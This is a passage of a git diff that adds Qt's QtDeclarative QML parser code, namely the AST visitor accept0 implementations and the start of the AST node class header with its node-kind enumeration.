+}
+
+void ThrowStatement::accept0(Visitor *visitor)
+{
+ if (visitor->visit(this)) {
+ accept(expression, visitor);
+ }
+
+ visitor->endVisit(this);
+}
+
+void TryStatement::accept0(Visitor *visitor)
+{
+ if (visitor->visit(this)) {
+ accept(statement, visitor);
+ accept(catchExpression, visitor);
+ accept(finallyExpression, visitor);
+ }
+
+ visitor->endVisit(this);
+}
+
+void Catch::accept0(Visitor *visitor)
+{
+ if (visitor->visit(this)) {
+ accept(statement, visitor);
+ }
+
+ visitor->endVisit(this);
+}
+
+void Finally::accept0(Visitor *visitor)
+{
+ if (visitor->visit(this)) {
+ accept(statement, visitor);
+ }
+
+ visitor->endVisit(this);
+}
+
+void FunctionDeclaration::accept0(Visitor *visitor)
+{
+ if (visitor->visit(this)) {
+ accept(formals, visitor);
+ accept(body, visitor);
+ }
+
+ visitor->endVisit(this);
+}
+
+void FunctionExpression::accept0(Visitor *visitor)
+{
+ if (visitor->visit(this)) {
+ accept(formals, visitor);
+ accept(body, visitor);
+ }
+
+ visitor->endVisit(this);
+}
+
+void FormalParameterList::accept0(Visitor *visitor)
+{
+ if (visitor->visit(this)) {
+ // ###
+ }
+
+ visitor->endVisit(this);
+}
+
+void FunctionBody::accept0(Visitor *visitor)
+{
+ if (visitor->visit(this)) {
+ accept(elements, visitor);
+ }
+
+ visitor->endVisit(this);
+}
+
+void Program::accept0(Visitor *visitor)
+{
+ if (visitor->visit(this)) {
+ accept(elements, visitor);
+ }
+
+ visitor->endVisit(this);
+}
+
+void SourceElements::accept0(Visitor *visitor)
+{
+ if (visitor->visit(this)) {
+ for (SourceElements *it = this; it; it = it->next) {
+ accept(it->element, visitor);
+ }
+ }
+
+ visitor->endVisit(this);
+}
+
+void FunctionSourceElement::accept0(Visitor *visitor)
+{
+ if (visitor->visit(this)) {
+ accept(declaration, visitor);
+ }
+
+ visitor->endVisit(this);
+}
+
+void StatementSourceElement::accept0(Visitor *visitor)
+{
+ if (visitor->visit(this)) {
+ accept(statement, visitor);
+ }
+
+ visitor->endVisit(this);
+}
+
+void DebuggerStatement::accept0(Visitor *visitor)
+{
+ if (visitor->visit(this)) {
+ }
+
+ visitor->endVisit(this);
+}
+
+void UiProgram::accept0(Visitor *visitor)
+{
+ if (visitor->visit(this)) {
+ accept(imports, visitor);
+ accept(members, visitor);
+ }
+
+ visitor->endVisit(this);
+}
+
+void UiSignature::accept0(Visitor *visitor)
+{
+ if (visitor->visit(this)) {
+ accept(formals, visitor);
+ }
+ visitor->endVisit(this);
+}
+
+void UiFormalList::accept0(Visitor *visitor)
+{
+ if (visitor->visit(this)) {
+ for (UiFormalList *it = this; it; it = it->next) {
+ accept(it->formal, visitor);
+ }
+ }
+ visitor->endVisit(this);
+}
+
+void UiFormal::accept0(Visitor *visitor)
+{
+ if (visitor->visit(this)) {
+ }
+ visitor->endVisit(this);
+}
+
+void UiPublicMember::accept0(Visitor *visitor)
+{
+ if (visitor->visit(this)) {
+ accept(expression, visitor);
+ accept(binding, visitor);
+ }
+
+ visitor->endVisit(this);
+}
+
+void UiObjectDefinition::accept0(Visitor *visitor)
+{
+ if (visitor->visit(this)) {
+ accept(qualifiedTypeNameId, visitor);
+ accept(initializer, visitor);
+ }
+
+ visitor->endVisit(this);
+}
+
+void UiObjectInitializer::accept0(Visitor *visitor)
+{
+ if (visitor->visit(this)) {
+ accept(members, visitor);
+ }
+
+ visitor->endVisit(this);
+}
+
+void UiObjectBinding::accept0(Visitor *visitor)
+{
+ if (visitor->visit(this)) {
+ accept(qualifiedId, visitor);
+ accept(qualifiedTypeNameId, visitor);
+ accept(initializer, visitor);
+ }
+
+ visitor->endVisit(this);
+}
+
+void UiScriptBinding::accept0(Visitor *visitor)
+{
+ if (visitor->visit(this)) {
+ accept(qualifiedId, visitor);
+ accept(statement, visitor);
+ }
+
+ visitor->endVisit(this);
+}
+
+void UiArrayBinding::accept0(Visitor *visitor)
+{
+ if (visitor->visit(this)) {
+ accept(qualifiedId, visitor);
+ accept(members, visitor);
+ }
+
+ visitor->endVisit(this);
+}
+
+void UiObjectMemberList::accept0(Visitor *visitor)
+{
+ if (visitor->visit(this)) {
+ for (UiObjectMemberList *it = this; it; it = it->next)
+ accept(it->member, visitor);
+ }
+
+ visitor->endVisit(this);
+}
+
+void UiArrayMemberList::accept0(Visitor *visitor)
+{
+ if (visitor->visit(this)) {
+ for (UiArrayMemberList *it = this; it; it = it->next)
+ accept(it->member, visitor);
+ }
+
+ visitor->endVisit(this);
+}
+
+void UiQualifiedId::accept0(Visitor *visitor)
+{
+ if (visitor->visit(this)) {
+ }
+
+ visitor->endVisit(this);
+}
+
+void UiImport::accept0(Visitor *visitor)
+{
+ if (visitor->visit(this)) {
+ accept(importUri, visitor);
+ }
+
+ visitor->endVisit(this);
+}
+
+void UiImportList::accept0(Visitor *visitor)
+{
+ if (visitor->visit(this)) {
+ accept(import, visitor);
+ accept(next, visitor);
+ }
+
+ visitor->endVisit(this);
+}
+
+void UiSourceElement::accept0(Visitor *visitor)
+{
+ if (visitor->visit(this)) {
+ accept(sourceElement, visitor);
+ }
+
+ visitor->endVisit(this);
+}
+
+} } // namespace QDeclarativeJS::AST
+
+QT_QML_END_NAMESPACE
+
+
diff --git a/src/declarative/qml/parser/qdeclarativejsast_p.h b/src/declarative/qml/parser/qdeclarativejsast_p.h
new file mode 100644
index 00000000..07ce3e09
--- /dev/null
+++ b/src/declarative/qml/parser/qdeclarativejsast_p.h
@@ -0,0 +1,2546 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEJSAST_P_H
+#define QDECLARATIVEJSAST_P_H
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+#include "private/qdeclarativejsastvisitor_p.h"
+#include "private/qdeclarativejsglobal_p.h"
+
+#include <QtCore/QString>
+
+QT_QML_BEGIN_NAMESPACE
+
+#define QDECLARATIVEJS_DECLARE_AST_NODE(name) \
+ enum { K = Kind_##name };
+
+namespace QSOperator // ### rename
+{
+
+enum Op {
+ Add,
+ And,
+ InplaceAnd,
+ Assign,
+ BitAnd,
+ BitOr,
+ BitXor,
+ InplaceSub,
+ Div,
+ InplaceDiv,
+ Equal,
+ Ge,
+ Gt,
+ In,
+ InplaceAdd,
+ InstanceOf,
+ Le,
+ LShift,
+ InplaceLeftShift,
+ Lt,
+ Mod,
+ InplaceMod,
+ Mul,
+ InplaceMul,
+ NotEqual,
+ Or,
+ InplaceOr,
+ RShift,
+ InplaceRightShift,
+ StrictEqual,
+ StrictNotEqual,
+ Sub,
+ URShift,
+ InplaceURightShift,
+ InplaceXor
+};
+
+} // namespace QSOperator
+
+namespace QDeclarativeJS {
+class NameId;
+namespace AST {
+
+template <typename _T1, typename _T2>
+_T1 cast(_T2 *ast)
+{
+ if (ast && ast->kind == static_cast<_T1>(0)->K)
+ return static_cast<_T1>(ast);
+
+ return 0;
+}
+
+class QML_PARSER_EXPORT Node
+{
+public:
+ enum Kind {
+ Kind_Undefined,
+
+ Kind_ArgumentList,
+ Kind_ArrayLiteral,
+ Kind_ArrayMemberExpression,
+ Kind_BinaryExpression,
+ Kind_Block,
+ Kind_BreakStatement,
+ Kind_CallExpression,
+ Kind_CaseBlock,
+ Kind_CaseClause,
+ Kind_CaseClauses,
+ Kind_Catch,
+ Kind_ConditionalExpression,
+ Kind_ContinueStatement,
+ Kind_DebuggerStatement,
+ Kind_DefaultClause,
+ Kind_DeleteExpression,
+ Kind_DoWhileStatement,
+ Kind_ElementList,
+ Kind_Elision,
+ Kind_EmptyStatement,
+ Kind_Expression,
+ Kind_ExpressionStatement,
+ Kind_FalseLiteral,
+ Kind_FieldMemberExpression,
+ Kind_Finally,
+ Kind_ForEachStatement,
+ Kind_ForStatement,
+ Kind_FormalParameterList,
+ Kind_FunctionBody,
+ Kind_FunctionDeclaration,
+ Kind_FunctionExpression,
+ Kind_FunctionSourceElement,
+ Kind_IdentifierExpression,
+ Kind_IdentifierPropertyName,
+ Kind_IfStatement,
+ Kind_LabelledStatement,
+ Kind_LocalForEachStatement,
+ Kind_LocalForStatement,
+ Kind_NewExpression,
+ Kind_NewMemberExpression,
+ Kind_NotExpression,
+ Kind_NullExpression,
+ Kind_NumericLiteral,
+ Kind_NumericLiteralPropertyName,
+ Kind_ObjectLiteral,
+ Kind_PostDecrementExpression,
+ Kind_PostIncrementExpression,
+ Kind_PreDecrementExpression,
+ Kind_PreIncrementExpression,
+ Kind_Program,
+ Kind_PropertyName,
+ Kind_PropertyNameAndValueList,
+ Kind_RegExpLiteral,
+ Kind_ReturnStatement,
+ Kind_SourceElement,
+ Kind_SourceElements,
+ Kind_StatementList,
+ Kind_StatementSourceElement,
+ Kind_StringLiteral,
+ Kind_StringLiteralPropertyName,
+ Kind_SwitchStatement,
+ Kind_ThisExpression,
+ Kind_ThrowStatement,
+ Kind_TildeExpression,
+ Kind_TrueLiteral,
+ Kind_TryStatement,
+ Kind_TypeOfExpression,
+ Kind_UnaryMinusExpression,
+ Kind_UnaryPlusExpression,
+ Kind_VariableDeclaration,
+ Kind_VariableDeclarationList,
+ Kind_VariableStatement,
+ Kind_VoidExpression,
+ Kind_WhileStatement,
+ Kind_WithStatement,
+ Kind_NestedExpression,
+
+ Kind_UiArrayBinding,
+ Kind_UiImport,
+ Kind_UiImportList,
+ Kind_UiObjectBinding,
+ Kind_UiObjectDefinition,
+ Kind_UiObjectInitializer,
+ Kind_UiObjectMemberList,
+ Kind_UiArrayMemberList,
+ Kind_UiProgram,
+ Kind_UiParameterList,
+ Kind_UiPublicMember,
+ Kind_UiQualifiedId,
+ Kind_UiScriptBinding,
+ Kind_UiSourceElement,
+ Kind_UiFormal,
+ Kind_UiFormalList,
+ Kind_UiSignature
+ };
+
+ inline Node()
+ : kind(Kind_Undefined) {}
+
+ // NOTE: node destructors are never called,
+ // instead we block free the memory
+ // (see the NodePool class)
+ virtual ~Node() {}
+
+ virtual ExpressionNode *expressionCast();
+ virtual BinaryExpression *binaryExpressionCast();
+ virtual Statement *statementCast();
+ virtual UiObjectMember *uiObjectMemberCast();
+
+ void accept(Visitor *visitor);
+ static void accept(Node *node, Visitor *visitor);
+
+ inline static void acceptChild(Node *node, Visitor *visitor)
+ { return accept(node, visitor); } // ### remove
+
+ virtual void accept0(Visitor *visitor) = 0;
+
+// attributes
+ int kind;
+};
+
+class QML_PARSER_EXPORT ExpressionNode: public Node
+{
+public:
+ ExpressionNode() {}
+
+ virtual ExpressionNode *expressionCast();
+
+ virtual SourceLocation firstSourceLocation() const = 0;
+ virtual SourceLocation lastSourceLocation() const = 0;
+};
+
+class QML_PARSER_EXPORT Statement: public Node
+{
+public:
+ Statement() {}
+
+ virtual Statement *statementCast();
+
+ virtual SourceLocation firstSourceLocation() const = 0;
+ virtual SourceLocation lastSourceLocation() const = 0;
+};
+
+class QML_PARSER_EXPORT UiFormal: public Node
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(UiFormal)
+
+ UiFormal(NameId *name, NameId *alias = 0)
+ : name(name), alias(alias)
+ { }
+
+ virtual SourceLocation firstSourceLocation() const
+ { return SourceLocation(); }
+
+ virtual SourceLocation lastSourceLocation() const
+ { return SourceLocation(); }
+
+ virtual void accept0(Visitor *visitor);
+
+// attributes
+ NameId *name;
+ NameId *alias;
+ SourceLocation identifierToken;
+ SourceLocation asToken;
+ SourceLocation aliasToken;
+};
+
+class QML_PARSER_EXPORT UiFormalList: public Node
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(UiFormalList)
+
+ UiFormalList(UiFormal *formal)
+ : formal(formal), next(this) {}
+
+ UiFormalList(UiFormalList *previous, UiFormal *formal)
+ : formal(formal)
+ {
+ next = previous->next;
+ previous->next = this;
+ }
+
+ UiFormalList *finish()
+ {
+ UiFormalList *head = next;
+ next = 0;
+ return head;
+ }
+
+ virtual SourceLocation firstSourceLocation() const
+ { return SourceLocation(); }
+
+ virtual SourceLocation lastSourceLocation() const
+ { return SourceLocation(); }
+
+ virtual void accept0(Visitor *visitor);
+
+// attributes
+ UiFormal *formal;
+ UiFormalList *next;
+};
+
+class QML_PARSER_EXPORT UiSignature: public Node
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(UiSignature)
+
+ UiSignature(UiFormalList *formals = 0)
+ : formals(formals)
+ { }
+
+ virtual SourceLocation firstSourceLocation() const
+ { return SourceLocation(); }
+
+ virtual SourceLocation lastSourceLocation() const
+ { return SourceLocation(); }
+
+ virtual void accept0(Visitor *visitor);
+
+// attributes
+ SourceLocation lparenToken;
+ UiFormalList *formals;
+ SourceLocation rparenToken;
+};
+
+class QML_PARSER_EXPORT NestedExpression: public ExpressionNode
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(NestedExpression)
+
+ NestedExpression(ExpressionNode *expression)
+ : expression(expression)
+ { kind = K; }
+
+ virtual void accept0(Visitor *visitor);
+
+ virtual SourceLocation firstSourceLocation() const
+ { return lparenToken; }
+
+ virtual SourceLocation lastSourceLocation() const
+ { return rparenToken; }
+
+// attributes
+ ExpressionNode *expression;
+ SourceLocation lparenToken;
+ SourceLocation rparenToken;
+};
+
+class QML_PARSER_EXPORT ThisExpression: public ExpressionNode
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(ThisExpression)
+
+ ThisExpression() { kind = K; }
+
+ virtual void accept0(Visitor *visitor);
+
+ virtual SourceLocation firstSourceLocation() const
+ { return thisToken; }
+
+ virtual SourceLocation lastSourceLocation() const
+ { return thisToken; }
+
+// attributes
+ SourceLocation thisToken;
+};
+
+class QML_PARSER_EXPORT IdentifierExpression: public ExpressionNode
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(IdentifierExpression)
+
+ IdentifierExpression(NameId *n):
+ name (n) { kind = K; }
+
+ virtual void accept0(Visitor *visitor);
+
+ virtual SourceLocation firstSourceLocation() const
+ { return identifierToken; }
+
+ virtual SourceLocation lastSourceLocation() const
+ { return identifierToken; }
+
+// attributes
+ NameId *name;
+ SourceLocation identifierToken;
+};
+
+class QML_PARSER_EXPORT NullExpression: public ExpressionNode
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(NullExpression)
+
+ NullExpression() { kind = K; }
+
+ virtual void accept0(Visitor *visitor);
+
+ virtual SourceLocation firstSourceLocation() const
+ { return nullToken; }
+
+ virtual SourceLocation lastSourceLocation() const
+ { return nullToken; }
+
+// attributes
+ SourceLocation nullToken;
+};
+
+class QML_PARSER_EXPORT TrueLiteral: public ExpressionNode
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(TrueLiteral)
+
+ TrueLiteral() { kind = K; }
+
+ virtual void accept0(Visitor *visitor);
+
+ virtual SourceLocation firstSourceLocation() const
+ { return trueToken; }
+
+ virtual SourceLocation lastSourceLocation() const
+ { return trueToken; }
+
+// attributes
+ SourceLocation trueToken;
+};
+
+class QML_PARSER_EXPORT FalseLiteral: public ExpressionNode
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(FalseLiteral)
+
+ FalseLiteral() { kind = K; }
+
+ virtual void accept0(Visitor *visitor);
+
+ virtual SourceLocation firstSourceLocation() const
+ { return falseToken; }
+
+ virtual SourceLocation lastSourceLocation() const
+ { return falseToken; }
+
+// attributes
+ SourceLocation falseToken;
+};
+
+class QML_PARSER_EXPORT NumericLiteral: public ExpressionNode
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(NumericLiteral)
+
+ NumericLiteral(double v):
+ value(v) { kind = K; }
+
+ virtual void accept0(Visitor *visitor);
+
+ virtual SourceLocation firstSourceLocation() const
+ { return literalToken; }
+
+ virtual SourceLocation lastSourceLocation() const
+ { return literalToken; }
+
+// attributes:
+ double value;
+ SourceLocation literalToken;
+};
+
+class QML_PARSER_EXPORT StringLiteral: public ExpressionNode
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(StringLiteral)
+
+ StringLiteral(NameId *v):
+ value (v) { kind = K; }
+
+ virtual void accept0(Visitor *visitor);
+
+ virtual SourceLocation firstSourceLocation() const
+ { return literalToken; }
+
+ virtual SourceLocation lastSourceLocation() const
+ { return literalToken; }
+
+// attributes:
+ NameId *value;
+ SourceLocation literalToken;
+};
+
+class QML_PARSER_EXPORT RegExpLiteral: public ExpressionNode
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(RegExpLiteral)
+
+ RegExpLiteral(NameId *p, int f):
+ pattern (p), flags (f) { kind = K; }
+
+ virtual void accept0(Visitor *visitor);
+
+ virtual SourceLocation firstSourceLocation() const
+ { return literalToken; }
+
+ virtual SourceLocation lastSourceLocation() const
+ { return literalToken; }
+
+// attributes:
+ NameId *pattern;
+ int flags;
+ SourceLocation literalToken;
+};
+
+class QML_PARSER_EXPORT ArrayLiteral: public ExpressionNode
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(ArrayLiteral)
+
+ ArrayLiteral(Elision *e):
+ elements (0), elision (e)
+ { kind = K; }
+
+ ArrayLiteral(ElementList *elts):
+ elements (elts), elision (0)
+ { kind = K; }
+
+ ArrayLiteral(ElementList *elts, Elision *e):
+ elements (elts), elision (e)
+ { kind = K; }
+
+ virtual void accept0(Visitor *visitor);
+
+ virtual SourceLocation firstSourceLocation() const
+ { return lbracketToken; }
+
+ virtual SourceLocation lastSourceLocation() const
+ { return rbracketToken; }
+
+// attributes
+ ElementList *elements;
+ Elision *elision;
+ SourceLocation lbracketToken;
+ SourceLocation commaToken;
+ SourceLocation rbracketToken;
+};
+
+class QML_PARSER_EXPORT ObjectLiteral: public ExpressionNode
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(ObjectLiteral)
+
+ ObjectLiteral():
+ properties (0) { kind = K; }
+
+ ObjectLiteral(PropertyNameAndValueList *plist):
+ properties (plist) { kind = K; }
+
+ virtual void accept0(Visitor *visitor);
+
+ virtual SourceLocation firstSourceLocation() const
+ { return lbraceToken; }
+
+ virtual SourceLocation lastSourceLocation() const
+ { return rbraceToken; }
+
+// attributes
+ PropertyNameAndValueList *properties;
+ SourceLocation lbraceToken;
+ SourceLocation rbraceToken;
+};
+
+class QML_PARSER_EXPORT ElementList: public Node
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(ElementList)
+
+ ElementList(Elision *e, ExpressionNode *expr):
+ elision (e), expression (expr), next (this)
+ { kind = K; }
+
+ ElementList(ElementList *previous, Elision *e, ExpressionNode *expr):
+ elision (e), expression (expr)
+ {
+ kind = K;
+ next = previous->next;
+ previous->next = this;
+ }
+
+ inline ElementList *finish ()
+ {
+ ElementList *front = next;
+ next = 0;
+ return front;
+ }
+
+ virtual void accept0(Visitor *visitor);
+
+// attributes
+ Elision *elision;
+ ExpressionNode *expression;
+ ElementList *next;
+ SourceLocation commaToken;
+};
+
+class QML_PARSER_EXPORT Elision: public Node
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(Elision)
+
+ Elision():
+ next (this) { kind = K; }
+
+ Elision(Elision *previous)
+ {
+ kind = K;
+ next = previous->next;
+ previous->next = this;
+ }
+
+ virtual void accept0(Visitor *visitor);
+
+ inline Elision *finish ()
+ {
+ Elision *front = next;
+ next = 0;
+ return front;
+ }
+
+// attributes
+ Elision *next;
+ SourceLocation commaToken;
+};
+
+class QML_PARSER_EXPORT PropertyNameAndValueList: public Node
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(PropertyNameAndValueList)
+
+ PropertyNameAndValueList(PropertyName *n, ExpressionNode *v):
+ name (n), value (v), next (this)
+ { kind = K; }
+
+ PropertyNameAndValueList(PropertyNameAndValueList *previous, PropertyName *n, ExpressionNode *v):
+ name (n), value (v)
+ {
+ kind = K;
+ next = previous->next;
+ previous->next = this;
+ }
+
+ virtual void accept0(Visitor *visitor);
+
+ inline PropertyNameAndValueList *finish ()
+ {
+ PropertyNameAndValueList *front = next;
+ next = 0;
+ return front;
+ }
+
+// attributes
+ PropertyName *name;
+ ExpressionNode *value;
+ PropertyNameAndValueList *next;
+ SourceLocation colonToken;
+ SourceLocation commaToken;
+};
+
+class QML_PARSER_EXPORT PropertyName: public Node
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(PropertyName)
+
+ PropertyName() { kind = K; }
+
+// attributes
+ SourceLocation propertyNameToken;
+};
+
+class QML_PARSER_EXPORT IdentifierPropertyName: public PropertyName
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(IdentifierPropertyName)
+
+ IdentifierPropertyName(NameId *n):
+ id (n) { kind = K; }
+
+ virtual void accept0(Visitor *visitor);
+
+// attributes
+ NameId *id;
+};
+
+class QML_PARSER_EXPORT StringLiteralPropertyName: public PropertyName
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(StringLiteralPropertyName)
+
+ StringLiteralPropertyName(NameId *n):
+ id (n) { kind = K; }
+
+ virtual void accept0(Visitor *visitor);
+
+// attributes
+ NameId *id;
+};
+
+class QML_PARSER_EXPORT NumericLiteralPropertyName: public PropertyName
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(NumericLiteralPropertyName)
+
+ NumericLiteralPropertyName(double n):
+ id (n) { kind = K; }
+
+ virtual void accept0(Visitor *visitor);
+
+// attributes
+ double id;
+};
+
+class QML_PARSER_EXPORT ArrayMemberExpression: public ExpressionNode
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(ArrayMemberExpression)
+
+ ArrayMemberExpression(ExpressionNode *b, ExpressionNode *e):
+ base (b), expression (e)
+ { kind = K; }
+
+ virtual void accept0(Visitor *visitor);
+
+ virtual SourceLocation firstSourceLocation() const
+ { return base->firstSourceLocation(); }
+
+ virtual SourceLocation lastSourceLocation() const
+ { return rbracketToken; }
+
+// attributes
+ ExpressionNode *base;
+ ExpressionNode *expression;
+ SourceLocation lbracketToken;
+ SourceLocation rbracketToken;
+};
+
+class QML_PARSER_EXPORT FieldMemberExpression: public ExpressionNode
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(FieldMemberExpression)
+
+ FieldMemberExpression(ExpressionNode *b, NameId *n):
+ base (b), name (n)
+ { kind = K; }
+
+ virtual void accept0(Visitor *visitor);
+
+ virtual SourceLocation firstSourceLocation() const
+ { return base->firstSourceLocation(); }
+
+ virtual SourceLocation lastSourceLocation() const
+ { return identifierToken; }
+
+ // attributes
+ ExpressionNode *base;
+ NameId *name;
+ SourceLocation dotToken;
+ SourceLocation identifierToken;
+};
+
+class QML_PARSER_EXPORT NewMemberExpression: public ExpressionNode
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(NewMemberExpression)
+
+ NewMemberExpression(ExpressionNode *b, ArgumentList *a):
+ base (b), arguments (a)
+ { kind = K; }
+
+ virtual void accept0(Visitor *visitor);
+
+ virtual SourceLocation firstSourceLocation() const
+ { return newToken; }
+
+ virtual SourceLocation lastSourceLocation() const
+ { return rparenToken; }
+
+ // attributes
+ ExpressionNode *base;
+ ArgumentList *arguments;
+ SourceLocation newToken;
+ SourceLocation lparenToken;
+ SourceLocation rparenToken;
+};
+
+class QML_PARSER_EXPORT NewExpression: public ExpressionNode
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(NewExpression)
+
+ NewExpression(ExpressionNode *e):
+ expression (e) { kind = K; }
+
+ virtual void accept0(Visitor *visitor);
+
+ virtual SourceLocation firstSourceLocation() const
+ { return newToken; }
+
+ virtual SourceLocation lastSourceLocation() const
+ { return expression->lastSourceLocation(); }
+
+// attributes
+ ExpressionNode *expression;
+ SourceLocation newToken;
+};
+
+class QML_PARSER_EXPORT CallExpression: public ExpressionNode
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(CallExpression)
+
+ CallExpression(ExpressionNode *b, ArgumentList *a):
+ base (b), arguments (a)
+ { kind = K; }
+
+ virtual void accept0(Visitor *visitor);
+
+ virtual SourceLocation firstSourceLocation() const
+ { return base->firstSourceLocation(); }
+
+ virtual SourceLocation lastSourceLocation() const
+ { return rparenToken; }
+
+// attributes
+ ExpressionNode *base;
+ ArgumentList *arguments;
+ SourceLocation lparenToken;
+ SourceLocation rparenToken;
+};
+
+class QML_PARSER_EXPORT ArgumentList: public Node
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(ArgumentList)
+
+ ArgumentList(ExpressionNode *e):
+ expression (e), next (this)
+ { kind = K; }
+
+ ArgumentList(ArgumentList *previous, ExpressionNode *e):
+ expression (e)
+ {
+ kind = K;
+ next = previous->next;
+ previous->next = this;
+ }
+
+ virtual void accept0(Visitor *visitor);
+
+ inline ArgumentList *finish ()
+ {
+ ArgumentList *front = next;
+ next = 0;
+ return front;
+ }
+
+// attributes
+ ExpressionNode *expression;
+ ArgumentList *next;
+ SourceLocation commaToken;
+};
+
+class QML_PARSER_EXPORT PostIncrementExpression: public ExpressionNode
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(PostIncrementExpression)
+
+ PostIncrementExpression(ExpressionNode *b):
+ base (b) { kind = K; }
+
+ virtual void accept0(Visitor *visitor);
+
+ virtual SourceLocation firstSourceLocation() const
+ { return base->firstSourceLocation(); }
+
+ virtual SourceLocation lastSourceLocation() const
+ { return incrementToken; }
+
+// attributes
+ ExpressionNode *base;
+ SourceLocation incrementToken;
+};
+
+class QML_PARSER_EXPORT PostDecrementExpression: public ExpressionNode
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(PostDecrementExpression)
+
+ PostDecrementExpression(ExpressionNode *b):
+ base (b) { kind = K; }
+
+ virtual void accept0(Visitor *visitor);
+
+ virtual SourceLocation firstSourceLocation() const
+ { return base->firstSourceLocation(); }
+
+ virtual SourceLocation lastSourceLocation() const
+ { return decrementToken; }
+
+// attributes
+ ExpressionNode *base;
+ SourceLocation decrementToken;
+};
+
+class QML_PARSER_EXPORT DeleteExpression: public ExpressionNode
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(DeleteExpression)
+
+ DeleteExpression(ExpressionNode *e):
+ expression (e) { kind = K; }
+
+ virtual void accept0(Visitor *visitor);
+
+ virtual SourceLocation firstSourceLocation() const
+ { return deleteToken; }
+
+ virtual SourceLocation lastSourceLocation() const
+ { return expression->lastSourceLocation(); }
+
+// attributes
+ ExpressionNode *expression;
+ SourceLocation deleteToken;
+};
+
+class QML_PARSER_EXPORT VoidExpression: public ExpressionNode
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(VoidExpression)
+
+ VoidExpression(ExpressionNode *e):
+ expression (e) { kind = K; }
+
+ virtual void accept0(Visitor *visitor);
+
+ virtual SourceLocation firstSourceLocation() const
+ { return voidToken; }
+
+ virtual SourceLocation lastSourceLocation() const
+ { return expression->lastSourceLocation(); }
+
+// attributes
+ ExpressionNode *expression;
+ SourceLocation voidToken;
+};
+
+class QML_PARSER_EXPORT TypeOfExpression: public ExpressionNode
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(TypeOfExpression)
+
+ TypeOfExpression(ExpressionNode *e):
+ expression (e) { kind = K; }
+
+ virtual void accept0(Visitor *visitor);
+
+ virtual SourceLocation firstSourceLocation() const
+ { return typeofToken; }
+
+ virtual SourceLocation lastSourceLocation() const
+ { return expression->lastSourceLocation(); }
+
+// attributes
+ ExpressionNode *expression;
+ SourceLocation typeofToken;
+};
+
+class QML_PARSER_EXPORT PreIncrementExpression: public ExpressionNode
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(PreIncrementExpression)
+
+ PreIncrementExpression(ExpressionNode *e):
+ expression (e) { kind = K; }
+
+ virtual void accept0(Visitor *visitor);
+
+ virtual SourceLocation firstSourceLocation() const
+ { return incrementToken; }
+
+ virtual SourceLocation lastSourceLocation() const
+ { return expression->lastSourceLocation(); }
+
+// attributes
+ ExpressionNode *expression;
+ SourceLocation incrementToken;
+};
+
+class QML_PARSER_EXPORT PreDecrementExpression: public ExpressionNode
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(PreDecrementExpression)
+
+ PreDecrementExpression(ExpressionNode *e):
+ expression (e) { kind = K; }
+
+ virtual void accept0(Visitor *visitor);
+
+ virtual SourceLocation firstSourceLocation() const
+ { return decrementToken; }
+
+ virtual SourceLocation lastSourceLocation() const
+ { return expression->lastSourceLocation(); }
+
+// attributes
+ ExpressionNode *expression;
